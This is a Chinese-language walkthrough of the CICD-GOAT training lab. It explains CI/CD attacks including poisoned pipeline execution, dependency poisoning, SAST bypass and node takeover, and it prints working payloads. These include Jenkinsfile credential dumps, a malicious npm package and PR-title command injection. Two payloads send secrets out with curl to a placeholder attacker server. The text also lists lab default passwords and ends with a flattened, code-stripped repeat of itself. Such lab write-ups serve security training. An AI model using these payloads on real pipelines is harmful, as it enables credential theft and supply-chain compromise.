从CICD-GOAT靶场学习top-10-cicd-security-risks
字数 2276 2025-08-24 07:48:23

CICD-GOAT靶场:TOP 10 CICD安全风险实战教学

靶场概述

CICD-GOAT是一个专门设计用于学习CI/CD安全漏洞的靶场环境,包含了10种常见的CI/CD安全风险场景。靶场地址:https://github.com/cider-security-research/cicd-goat

环境准备

默认凭据:

  • Jenkins: http://localhost:8080
    • 用户: alice/alice
    • 管理员: admin/ciderland5#
  • Gitea: http://localhost:3000
    • 用户: thealice/thealice
    • 管理员: red_queen/ciderland5#
  • GitLab: http://localhost:4000
    • 用户: alice/alice1234
    • 管理员: root/ciderland5#
  • CTFd: admin/ciderland5#

漏洞场景详解

1. White Rabbit (PPE漏洞)

漏洞描述: Pipeline Permission Exposure (PPE)漏洞,当低权限用户能够修改Jenkinsfile并触发构建时,可以窃取凭据。

利用步骤:

  1. 访问Gitea仓库,找到包含Jenkinsfile的项目
  2. 修改Jenkinsfile注入恶意代码:
stage('getflag') {
    steps {
        withCredentials([string(credentialsId: 'flag1', variable: 'flag1')]) {
            sh '''
            echo "flag1:".$flag1 |base64
            '''
        }
    }
}
  1. 创建新分支并推送:
git checkout -b challenge1
git add *
git commit -m "commit"
git push -u origin challenge1
  1. 在Jenkins中查看构建输出获取flag

2. Mad Hatter (间接PPE)

漏洞描述: 当pipeline配置和代码分离时,通过修改Makefile等构建文件实现间接PPE攻击。

利用步骤:

  1. 发现pipeline配置仓库无法直接push
  2. 修改Makefile注入恶意代码:
whoami:
    echo $FLAG|base64
  1. 触发pipeline构建,在make阶段执行恶意代码获取flag

3. Duchess (敏感信息泄露)

漏洞描述: 代码仓库中存储了敏感凭据(如PyPi token)。

利用步骤:

  1. 使用gitleaks扫描仓库:
gitleaks detect -v
  1. 发现.pypirc文件中泄露的PyPi token:
password = pypi-AgEIcHlwaS5vcmcCJGNmNTI5MjkyLWYxYWMtNDEwYS04OTBjLWE4YzNjNGY1ZTBiZAACJXsicGVybWlzc2lvbnMiOiAidXN...

4. Caterpillar (Public PPE)

漏洞描述: Jenkins配置为信任所有fork项目的pull request,导致公开PPE漏洞。

利用步骤:

  1. 以管理员身份登录Jenkins,查看Caterpillar的test job配置
  2. 发现配置为"trust everyone"且会触发fork项目的PR
  3. fork项目并修改Jenkinsfile读取环境变量:
stage('Install_Requirements') {
    steps {
        sh "env"
    }
}
  1. 创建PR触发构建,获取包含敏感信息的env输出
  2. 使用获取的token克隆仓库:
git clone http://[TOKEN]@127.0.0.1:3000/Wonderland/caterpillar.git
  1. 修改Jenkinsfile读取flag:
stage('deploy') {
    steps {
        withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'TOKEN')]) {
            sh 'echo $TOKEN | base64'
        }
    }
}

5. Cheshire Cat (内置节点滥用)

漏洞描述: 滥用Jenkins内置节点(built-in)执行恶意代码。

利用步骤:

  1. 修改Jenkinsfile指定在built-in节点执行:
agent { label 'built-in' }
  1. 添加读取flag的步骤:
stage('Unit Tests') {
    steps {
        sh "cat ~/flag5.txt|base64"
    }
}
  1. 创建PR触发构建获取flag

6. Twiddledum (依赖混淆)

漏洞描述: 通过控制被依赖的包实现攻击。

利用步骤:

  1. 发现目标项目依赖可控的twiddledee包
  2. 修改twiddledee的index.js注入恶意代码:
const child_process = require('child_process');
child_process.exec('env|base64 -w 0', function(error, stdout, stderr){
    console.log(stdout)
});
  1. 发布新版本并打tag:
git tag 1.2.0 HEAD
git push origin 1.2.0
  1. 触发目标项目构建获取flag

7. Dodo (SAST配置绕过)

漏洞描述: 通过修改SAST工具配置文件绕过检测。

利用步骤:

  1. 创建.checkov.yml配置文件:
soft-fail: true
check:
- THIS_NOT_THE_CHECK_YOUR_ARE_LOOKING_FOR
  1. 修改main.tf设置不安全的ACL:
resource "aws_s3_bucket" "dodo" {
    bucket = var.bucket_name
    acl = "public-read"
}
  1. 推送代码绕过检测获取flag

8. Hearts (节点接管)

漏洞描述: 通过爆破凭据接管Jenkins agent节点。

利用步骤:

  1. 爆破得到Knave用户密码:knave/rockme
  2. 设置蜜罐服务器:
docker run -p 2222:2222 cowrie/cowrie
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -P FORWARD ACCEPT
iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
  1. 在Jenkins中创建新节点,设置连接到蜜罐
  2. 在蜜罐日志中获取flag:
login attempt [b'agent'/b'B1A648E1-FD8B-4D66-8CAF-78114F55D396'] failed

9. Dormouse (多阶段攻击)

漏洞描述: 通过代码注入获取SSH密钥,然后修改远程脚本。

利用步骤:

  1. 发现reportcov仓库的PR title存在命令注入
  2. 创建PR并在title中注入获取SSH key的命令:
`echo "${KEY}" > key && curl -v -F file=@key http://[YOUR_SERVER]:39556`
  1. 从服务器获取SSH私钥
  2. 使用私钥修改远程reportcov.sh脚本:
echo "${FLAG}" | base64 > reportcov.sh
chmod 400 key
scp -P 2222 -i key reportcov.sh root@localhost:/var/www/localhost/htdocs
  1. 触发构建获取flag

10. Mock Turtle (PR检查绕过)

漏洞描述: 绕过PR检查机制执行恶意代码。

利用步骤:

  1. 修改Jenkinsfile添加凭据窃取代码:
withCredentials([usernamePassword(credentialsId: 'flag10', usernameVariable: 'flag10', passwordVariable: 'TOKEN')]) {
    sh 'echo $TOKEN | base64'
}
  1. 修改version文件(无换行):
echo "1.0.13\c" > version
  1. 添加足够多的单词使增减相同:
echo "a a a a..." > 1.txt
  1. 提交PR触发构建获取flag

11. Gryphon (供应链攻击)

漏洞描述: 通过污染依赖包实现供应链攻击。

利用步骤:

  1. 修改pygryphon的greet.py构建恶意Docker镜像:
DOCKERFILE = """FROM python:3.8
COPY python3 /usr/local/bin/python3.bak
RUN mv /usr/local/bin/pip3 /usr/local/bin/pip3.bak
COPY pip3 /usr/local/bin/pip3
"""

PYTHON3 = """#!/bin/bash
env > /tmp/flag.txt; curl http://[YOUR_SERVER]/ -F file=@/tmp/flag.txt
"""

PIP3 = """#!/bin/bash
/usr/local/bin/pip3.bak install -r requirements.txt
mv /usr/local/bin/python3.bak /usr/local/bin/python3
"""
  1. 构建并推送恶意镜像:
python3.10 -m build ./
python3.10 -m twine upload -r gitlab dist/*
  1. 等待自动构建触发,从服务器获取flag

常见问题解决

  1. built-in节点卡住:重启Jenkins服务
  2. virtualenv报错:以管理员身份删除报错的命令
  3. 架构问题:确保Docker使用正确的平台架构,可在docker-compose.yaml中设置:
services:
  localstack:
    image: localstack/localstack:0.14.1-amd64
    platform: linux/amd64

总结

通过CICD-GOAT靶场,我们系统性地学习了10种常见的CI/CD安全风险及其利用方法,包括:

  • Pipeline权限暴露(PPE)
  • 敏感信息泄露
  • 构建配置滥用
  • 依赖混淆攻击
  • SAST工具绕过
  • 节点接管
  • 多阶段攻击链
  • 供应链攻击

这些知识对于安全研究人员和DevOps工程师提高CI/CD管道安全性具有重要价值。

CICD-GOAT靶场:TOP 10 CICD安全风险实战教学 靶场概述 CICD-GOAT是一个专门设计用于学习CI/CD安全漏洞的靶场环境,包含了10种常见的CI/CD安全风险场景。靶场地址:https://github.com/cider-security-research/cicd-goat 环境准备 默认凭据: Jenkins: http://localhost:8080 用户: alice/alice 管理员: admin/ciderland5# Gitea: http://localhost:3000 用户: thealice/thealice 管理员: red_ queen/ciderland5# GitLab: http://localhost:4000 用户: alice/alice1234 管理员: root/ciderland5# CTFd: admin/ciderland5# 漏洞场景详解 1. White Rabbit (PPE漏洞) 漏洞描述: Pipeline Permission Exposure (PPE)漏洞,当低权限用户能够修改Jenkinsfile并触发构建时,可以窃取凭据。 利用步骤: 访问Gitea仓库,找到包含Jenkinsfile的项目 修改Jenkinsfile注入恶意代码: 创建新分支并推送: 在Jenkins中查看构建输出获取flag 2. Mad Hatter (间接PPE) 漏洞描述: 当pipeline配置和代码分离时,通过修改Makefile等构建文件实现间接PPE攻击。 利用步骤: 发现pipeline配置仓库无法直接push 修改Makefile注入恶意代码: 触发pipeline构建,在make阶段执行恶意代码获取flag 3. Duchess (敏感信息泄露) 漏洞描述: 代码仓库中存储了敏感凭据(如PyPi token)。 利用步骤: 使用gitleaks扫描仓库: 发现.pypirc文件中泄露的PyPi token: 4. Caterpillar (Public PPE) 漏洞描述: Jenkins配置为信任所有fork项目的pull request,导致公开PPE漏洞。 利用步骤: 以管理员身份登录Jenkins,查看Caterpillar的test job配置 发现配置为"trust everyone"且会触发fork项目的PR fork项目并修改Jenkinsfile读取环境变量: 创建PR触发构建,获取包含敏感信息的env输出 使用获取的token克隆仓库: 修改Jenkinsfile读取flag: 5. Cheshire Cat (内置节点滥用) 漏洞描述: 滥用Jenkins内置节点(built-in)执行恶意代码。 利用步骤: 修改Jenkinsfile指定在built-in节点执行: 添加读取flag的步骤: 创建PR触发构建获取flag 6. Twiddledum (依赖混淆) 漏洞描述: 通过控制被依赖的包实现攻击。 利用步骤: 发现目标项目依赖可控的twiddledee包 修改twiddledee的index.js注入恶意代码: 发布新版本并打tag: 触发目标项目构建获取flag 7. Dodo (SAST配置绕过) 漏洞描述: 通过修改SAST工具配置文件绕过检测。 利用步骤: 创建.checkov.yml配置文件: 修改main.tf设置不安全的ACL: 推送代码绕过检测获取flag 8. Hearts (节点接管) 漏洞描述: 通过爆破凭据接管Jenkins agent节点。 利用步骤: 爆破得到Knave用户密码:knave/rockme 设置蜜罐服务器: 在Jenkins中创建新节点,设置连接到蜜罐 在蜜罐日志中获取flag: 9. Dormouse (多阶段攻击) 漏洞描述: 通过代码注入获取SSH密钥,然后修改远程脚本。 利用步骤: 发现reportcov仓库的PR title存在命令注入 创建PR并在title中注入获取SSH key的命令: 从服务器获取SSH私钥 使用私钥修改远程reportcov.sh脚本: 触发构建获取flag 10. Mock Turtle (PR检查绕过) 漏洞描述: 绕过PR检查机制执行恶意代码。 利用步骤: 修改Jenkinsfile添加凭据窃取代码: 修改version文件(无换行): 添加足够多的单词使增减相同: 提交PR触发构建获取flag 11. Gryphon (供应链攻击) 漏洞描述: 通过污染依赖包实现供应链攻击。 利用步骤: 修改pygryphon的greet.py构建恶意Docker镜像: 构建并推送恶意镜像: 等待自动构建触发,从服务器获取flag 常见问题解决 built-in节点卡住 :重启Jenkins服务 virtualenv报错 :以管理员身份删除报错的命令 架构问题 :确保Docker使用正确的平台架构,可在docker-compose.yaml中设置: 总结 通过CICD-GOAT靶场,我们系统性地学习了10种常见的CI/CD安全风险及其利用方法,包括: Pipeline权限暴露(PPE) 敏感信息泄露 构建配置滥用 依赖混淆攻击 SAST工具绕过 节点接管 多阶段攻击链 供应链攻击 这些知识对于安全研究人员和DevOps工程师提高CI/CD管道安全性具有重要价值。